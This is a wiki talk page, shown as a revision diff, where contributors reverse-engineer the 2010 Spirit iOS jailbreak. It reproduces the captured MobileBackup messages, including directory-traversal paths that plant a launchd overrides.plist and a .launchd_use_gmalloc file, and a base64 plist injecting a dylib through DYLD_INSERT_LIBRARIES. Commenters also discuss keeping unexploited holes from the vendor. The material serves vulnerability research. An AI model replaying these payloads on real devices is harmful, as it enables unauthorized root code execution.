The iPhone Wiki is no longer updated. Visit this article on The Apple Wiki for current information. |
Difference between revisions of "Talk:Spirit"
(→plist 3 - Upload .launchd_use_gmalloc) |
(→More Reversings) |
||
Line 91: | Line 91: | ||
# How is /tmp/stuff.1273860295 used to touch launchd_use_gmalloc? |
# How is /tmp/stuff.1273860295 used to touch launchd_use_gmalloc? |
||
# Is the crazy directory traversal (Library/Preferences/SystemConfiguration/../../../../../) necessary to circumvent security or just an artifact? |
# Is the crazy directory traversal (Library/Preferences/SystemConfiguration/../../../../../) necessary to circumvent security or just an artifact? |
||
− | # The only reference I found to DYLD_INSERT_LIBRARIES in launchd was the following, and I don't see how it allows you to set DYLD_INSERT_LIBRARIES to your own library, though I do see how it executes libgmalloc.dylib. |
||
+ | So, let me see if I understand the vulnerabilities that you are exploiting. You found a way to override the environment variable DYLD_INSERT_LIBRARIES via MobileBackup to point to your own library (/var/mobile/Media/spirit/one.dylib). You then installed your own patched version of /usr/lib/libgmalloc.dylib, which gets loaded everytime the device boots up and launchd is executed. |
||
− | Extract from launchd.c |
||
− | |||
− | <pre> |
||
− | 135 if (pid1_magic && g_use_gmalloc) { |
||
− | 136 if (!getenv("DYLD_INSERT_LIBRARIES")) { |
||
− | 137 setenv("DYLD_INSERT_LIBRARIES", "/usr/lib/libgmalloc.dylib", 1); |
||
− | 138 setenv("MALLOC_STRICT_SIZE", "1", 1); |
||
− | 139 execv(argv[0], argv); |
||
− | 140 } else { |
||
− | 141 unsetenv("DYLD_INSERT_LIBRARIES"); |
||
− | 142 unsetenv("MALLOC_STRICT_SIZE"); |
||
− | 143 } |
||
− | 144 } |
||
− | </pre> |
||
− | |||
− | So, let me see if I understand the vulnerabilities that you are exploiting. Launchd will load up the lib pointed to by the environment variable DYLD_INSERT_LIBRARIES. You found a way to override that environment variable (via MobileBackup) to point to your own library (/var/mobile/Media/spirit/one.dylib). You then installed your own patched version of /usr/lib/libgmalloc.dylib, which gets loaded everytime the device boots up. |
||
Below is the MobileBackup dialogue I extracted. |
Below is the MobileBackup dialogue I extracted. |
Revision as of 17:22, 17 May 2010
There exists also a tool called Spirit Fixer v1.01, written by Kirma. Anybody knows what that is? Here's a link: http://twitter.com/elior231/status/13296125900
--http 21:42, 4 May 2010 (UTC)
I'd love to see a technical writeup of everything, although I don't blame you if you don't. I'm lazy about those things too. As far as trying to keep it secret from Apple, I don't feel theres a point, they'll find it no matter what we do.
--geohot 14:02, 5 May 2010 (UTC)
I have started reverse engineering Spirit and making some UML(like) data flow and function diagrams. The problem is that I am guessing at too many things since I did not wana post anything and have someone get pissed it was out there. I am up for putting a formal brief together if others want to collaborate. I would imagine as Geohot said, that apple had this disassembled before the .tar was dry. Not to mention that they are not just looking for the exploit that was used (since they most likely had a whiteboard full of potentials during design) , they are looking for copyright violations and their stollen code in every bit of its bits.
--KodeSlinger 16:31, 5 May 2010 (UTC)
Meh, as mentioned on spiritjb.com, once Apple has shown that they've fixed it, the source will be released anyway. - MuscleNerd
@MuscleNerd - I started working on it BS (Before Spirit :) ), to create a centralized location that dynamically maps (HW/FW/SW) physical and logical drawings together. My thought was something like this wiki on crack. Ideally to generate functional diagrams of the idevice that act as a starting point to link to more detailed sections pertaining to that functions exploits, related functions, and source code samples(or any other data). Since I am new to this community I have been trying to organize this data for my own brain, and thought others might use it. I will post some screen shots later. The more organized we are the easier it will be to exploit the next vulnerability.
--KodeSlinger 20:11, 5 May 2010 (UTC)
Oh hah, cool :) If you do that though, obviously you shouldn't go overboard and start publicly discussing variations of this that would help Apple close other holes yet to be exploited (it sounds like your well-versed enough to do that!) - MuscleNerd
@MuscleNerd - Hah; yeah obviously cool kidz only lol --KodeSlinger 21:08, 5 May 2010 (UTC)
Contents
Reversing Spirit
I just started reversing Spirit and thought I'd share what I learned so far in hopes of hearing more from others.
Spirit.exe extracts a bunch of files into a temp directory as follows:
+ Documents and Settings/<User>/Local Settings/spiritxxx | + - dl | | | + - dl.exe | + - igor | | | + - 2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib | + - 3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib | + - 74227c0021c5e12effb5bd3175eb469a8df0622e.dylib | + - b735701843456754988021d128c2671ee36d1b04.dylib | + - f6c17e934ba0ad477812de0b7cb019396d259d93.dylib | + - install | + - map.plist | + - resources | + - 320x480.jpg + - 1024x768.jpg + - overrides.plist + - icon.ico
Spirit.exe is simply a GUI wrapper for dl.exe, which does the heavy lifting and is written using the cross-platform library CoreFoundation.dll. Dl.exe uses the iTunes DLL to get access to the iDevice, registering a callback function through AMDeviceNotificationSubscribe. The callback function launches a thread, which uploads 4 files as follows:
- One of the dylibs (depending on the iDevice version?) is uploaded as /var/mobile/Media/spirit/one.dylib
- The Mach-O ARM executable "install" is uploaded as /var/mobile/Media/spirit/install
- The Spirit.exe is uploaded as /var/mobile/Media/spirit/freeze.tar.xz
- One of the jpgs is uploaded as /var/mobile/Media/spirit/bg.jpg
After the files are uploaded, the upload thread signals to the main thread that the files are ready. The main thread then sends over two plists (shown at the end of the log below) via MobileBackup.
As I've only just started looking at this, and I'm also new to the iPhone scene, I have lots of questions.
- Is the MobileBackup interface documented anywhere? Was it used in other jb tools before Spirit?
- Why is Spirit.exe uploaded to the iDevice as freeze.tar.xz?
- What purpose do map.plist and overrides.plist serve?
- What are the two plists sent at the end of the transfer, and how do they allow the "install" image to be executed?
- What does install do to provide an untethered solution?
I'll post more as I learn, but it would be nice to hear if others have made more progress.
-EnohpiDesrever 16:47, 14 May 2010 (UTC)
- Don't think it's documented.
- Actually, freeze.tar.xz is tacked on to Spirit.exe, after the string 'magicmagicmagicm'. xz is http://tukaani.org/xz/
- One maps firmware version to the dylib that should be uploaded. The other is read by launchd.
- Just look at the contents of overrides.plist and the launchd source. The nefarious part is actually getting that file in the appropriate directory. (Note that overrides is only used for the initial install, because launchd spawns everything at once and the following solution ensures the exploit is run first.)
- By installing itself as /usr/lib/libgmalloc.dylib. To quote saurik: "if you touch the file /var/db/.launchd_use_gmalloc, then the first thing launchd does is set DYLD_INSERT_LIBRARIES to /usr/lib/libgmalloc.dylib and restart itself"
--Comex 22:54, 14 May 2010 (UTC)
More Reversings
Thanks for your response, Comex, and thanks for the jailbreak! Hope you don't mind me posting what I learn here. I figure that Apple's got to be way ahead of my progress if they care at all to fix the vulnerability. I have some more questions for you, if you don't mind, based on the MobileBackup dialogue I found in Spirit (see below).
- What type of encoding is used to encode the overrides file that is uploaded?
- How is /tmp/stuff.1273860295 used to touch launchd_use_gmalloc?
- Is the crazy directory traversal (Library/Preferences/SystemConfiguration/../../../../../) necessary to circumvent security or just an artifact?
So, let me see if I understand the vulnerabilities that you are exploiting. You found a way to override the environment variable DYLD_INSERT_LIBRARIES via MobileBackup to point to your own library (/var/mobile/Media/spirit/one.dylib). You then installed your own patched version of /usr/lib/libgmalloc.dylib, which gets loaded everytime the device boots up and launchd is executed.
Below is the MobileBackup dialogue I extracted.
plist 0 - Version Exchange
Transmitted:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <array> <string>DLMessageVersionExchange</string> <string>DLVersionsOk</string> </array> </plist>
Response:
<CFArray 00F72AE0 [100B4070]>{ type = immutable, count = 3, values = ( 0 : <CFString 00F72A70 [100B4070]>{contents = "DLMessageVersionExchange" } 1 : <CFNumber 00F80F08 [100B4070]>{value = +100, type = kCFNumberSInt64Type} 2 : <CFNumber 00F72AB8 [100B4070]>{value = +0, type = kCFNumberSInt32Type} ) }
plist 1 - Restore Request
Transmitted:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <array> <string>DLMessageProcessMessage</string> <dict> <key>BackupManifestKey</key> <dict> <key>AuthSignature</key> <data> 7ZSsx9DFT5h7/4rkU1uJJebKwbc= </data> <key>AuthVersion</key> <string>2.0</string> <key>Data</key> <data> PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4K PCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQ TElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFRE cy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9u PSIxLjAiPgo8ZGljdD4KCTxrZXk+QXBwbGljYXRpb25zPC9rZXk+ Cgk8ZGljdC8+Cgk8a2V5PkRldmljZUlkPC9rZXk+Cgk8c3RyaW5n PmYzNjQ3OGI3OTUzYzZhZWFkMTlmOGYzMTZhZmIzYzBmNDg2YWMz OWI8L3N0cmluZz4KCTxrZXk+RmlsZXM8L2tleT4KCTxkaWN0PgoJ CTxrZXk+NjYxZjVhMTYyMTk1ODhjNmU4NDY3MzVjNjYzZmJlMzFl NWY4NGRhNTwva2V5PgoJCTxkaWN0PgoJCQk8a2V5PkRhdGFIYXNo PC9rZXk+CgkJCTxkYXRhPgoJCQlxZytPdnJUWXM0T1oxQjdZTFJS WURFbE82bDg9CgkJCTwvZGF0YT4KCQkJPGtleT5Eb21haW48L2tl eT4KCQkJPHN0cmluZz5Ib21lRG9tYWluPC9zdHJpbmc+CgkJCTxr ZXk+RmlsZUxlbmd0aDwva2V5PgoJCQk8aW50ZWdlcj45MjI8L2lu dGVnZXI+CgkJCTxrZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVn ZXI+MDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxp bnRlZ2VyPjM4NDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRp b25UaW1lPC9rZXk+CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6 NDZaPC9kYXRlPgoJCQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGlu dGVnZXI+MDwvaW50ZWdlcj4KCQk8L2RpY3Q+CgkJPGtleT5iYTdl NDM1MzRjZDVhOThkZTA4MGU2MTQxYmVhZjVkYzAwNGFkMjM3PC9r ZXk+CgkJPGRpY3Q+CgkJCTxrZXk+RGF0YUhhc2g8L2tleT4KCQkJ PGRhdGE+CgkJCW1TWGRRNGlLZWQ3SFMvS3IyRWNPSFE0TEliST0K CQkJPC9kYXRhPgoJCQk8a2V5PkRvbWFpbjwva2V5PgoJCQk8c3Ry aW5nPkhvbWVEb21haW48L3N0cmluZz4KCQkJPGtleT5GaWxlTGVu Z3RoPC9rZXk+CgkJCTxpbnRlZ2VyPjA8L2ludGVnZXI+CgkJCTxr ZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50ZWdl cj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxpbnRlZ2VyPjM4NDwv aW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRpb25UaW1lPC9rZXk+ CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6NDZaPC9kYXRlPgoJ CQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50 ZWdlcj4KCQk8L2RpY3Q+Cgk8L2RpY3Q+Cgk8a2V5PlZlcnNpb248 L2tleT4KCTxzdHJpbmc+Ni4yPC9zdHJpbmc+CjwvZGljdD4KPC9w bGlzdD4K </data> <key>IsEncrypted</key> <integer>0</integer> </dict> <key>BackupMessageTypeKey</key> <string>kBackupMessageRestoreRequest</string> <key>BackupNotifySpringBoard</key> <true/> <key>BackupPreserveCameraRoll</key> <true/> <key>BackupProtocolVersion</key> <string>3.0</string> </dict> </array> </plist>
Response:
<CFArray 00F7BFB0 [100B4070]>{ type = immutable, count = 1, values = ( 0 : <CFString 00F7BF78 [100B4070]>{contents = "DLMessageDeviceReady"} ) }
plist 2 - Upload Overrides
Transmitted:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <array> <string>DLSendFile</string> <data> PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBs aXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3 dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJz aW9uPSIxLjAiPgo8ZGljdD4KICAgIDxrZXk+Y29tLmFwcGxlLlNwcmluZ0JvYXJkPC9r ZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PkRpc2FibGVkPC9rZXk+CiAgICAgICAg PHRydWUvPgogICAgPC9kaWN0PgoKICAgIDxrZXk+Y29tLmFwcGxlLnRjcGR1bXAuc2Vy dmVyPC9rZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PktlZXBBbGl2ZTwva2V5Pgog ICAgICAgIDx0cnVlLz4KICAgICAgICA8a2V5PkxhYmVsPC9rZXk+CiAgICAgICAgPHN0 cmluZz5jb20uYXBwbGUudGNwZHVtcC5zZXJ2ZXI8L3N0cmluZz4KICAgICAgICA8a2V5 PlByb2dyYW1Bcmd1bWVudHM8L2tleT4KICAgICAgICA8YXJyYXk+CiAgICAgICAgICAg IDxzdHJpbmc+L3NiaW4vbGF1bmNoZDwvc3RyaW5nPgogICAgICAgIDwvYXJyYXk+CiAg ICAgICAgPGtleT5SdW5BdExvYWQ8L2tleT4KICAgICAgICA8dHJ1ZS8+CiAgICAgICAg PGtleT5MYXVuY2hPbmx5T25jZTwva2V5PgogICAgICAgIDx0cnVlLz4KICAgICAgICA8 a2V5PlVzZXJOYW1lPC9rZXk+CiAgICAgICAgPHN0cmluZz5yb290PC9zdHJpbmc+CiAg ICAgICAgPGtleT5FbnZpcm9ubWVudFZhcmlhYmxlczwva2V5PgogICAgICAgIDxkaWN0 PgogICAgICAgICAgICA8a2V5PkRZTERfSU5TRVJUX0xJQlJBUklFUzwva2V5PgogICAg ICAgICAgICA8c3RyaW5nPi92YXIvbW9iaWxlL01lZGlhL3NwaXJpdC9vbmUuZHlsaWI8 L3N0cmluZz4KICAgICAgICA8L2RpY3Q+CiAgICA8L2RpY3Q+CjwvZGljdD4KPC9wbGlz dD4KCg== </data> <dict> <key>DLFileAttributesKey</key> <dict/> <key>DLFileDest</key> <string>/tmp/stuff.1273860294</string> <key>DLFileIsEncrypted</key> <integer>0</integer> <key>DLFileOffsetKey</key> <integer>0</integer> <key>DLFileSource</key> <string>/tmp/stuff.1273860294</string> <key>DLFileStatusKey</key> <integer>2</integer> <key>Path</key> <string>Library/Preferences/SystemConfiguration/../../../../../var/db/launchd.db/com.apple.launchd/overrides.plist</string> <key>Version</key> <string>3.0</string> </dict> </array> </plist>
Response:
<CFArray 00F73C30 [100B4070]> { type = immutable, count = 2, values = ( 0 : <CFString 00F73AE8 [100B4070]>{contents = "DLMessageProcessMessage"} 1 : <CFBasicHash 00F73BE8 [100B4070]> { type = immutable dict, count = 2, entries => 0 : <CFString 00F73B68 [100B4070]>{contents = "BackupMessageTypeKey"} = <CFString 00F73BA0 [100B4070]>{contents = "BackupMessageRestoreReplyOK"} 1 : <CFString 00F73B30 [100B4070]>{contents = "BackupProtocolVersion"} = <CFString 00F74980 [100B4070]>{contents = "1.6"} } ) }
plist 3 - Upload .launchd_use_gmalloc
Transmitted:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <array> <string>DLSendFile</string> <data> </data> <dict> <key>DLFileAttributesKey</key> <dict/> <key>DLFileDest</key> <string>/tmp/stuff.1273860295</string> <key>DLFileIsEncrypted</key> <integer>0</integer> <key>DLFileOffsetKey</key> <integer>0</integer> <key>DLFileSource</key> <string>/tmp/stuff.1273860295</string> <key>DLFileStatusKey</key> <integer>2</integer> <key>Path</key> <string>Library/Preferences/SystemConfiguration/../../../../../var/db/.launchd_use_gmalloc</string> <key>Version</key> <string>3.0</string> </dict> </array> </plist>
Response:
<CFArray 00F80D70 [100B4070]> { type = immutable, count = 2, values = ( 0 : <CFString 00F73C60 [100B4070]>{contents = "DLMessageProcessMessage"} 1 : <CFBasicHash 00F80D28 [100B4070]> { type = immutable dict, count = 2, entries => 0 : <CFString 00F7D4B0 [100B4070]>{contents = "BackupMessageTypeKey"} = <CFString 00F80CA8 [100B4070]>{contents = "BackupMessageRestoreFileReceived"} 2 : <CFString 00F80C70 [100B4070]>{contents = "BackupRestoreFileName"} = <CFString 00F80CF0 [100B4070]>{contents = "/tmp/stuff.1273764810"} } ) }
-EnohpiDesrever 16:11, 17 May 2010 (UTC)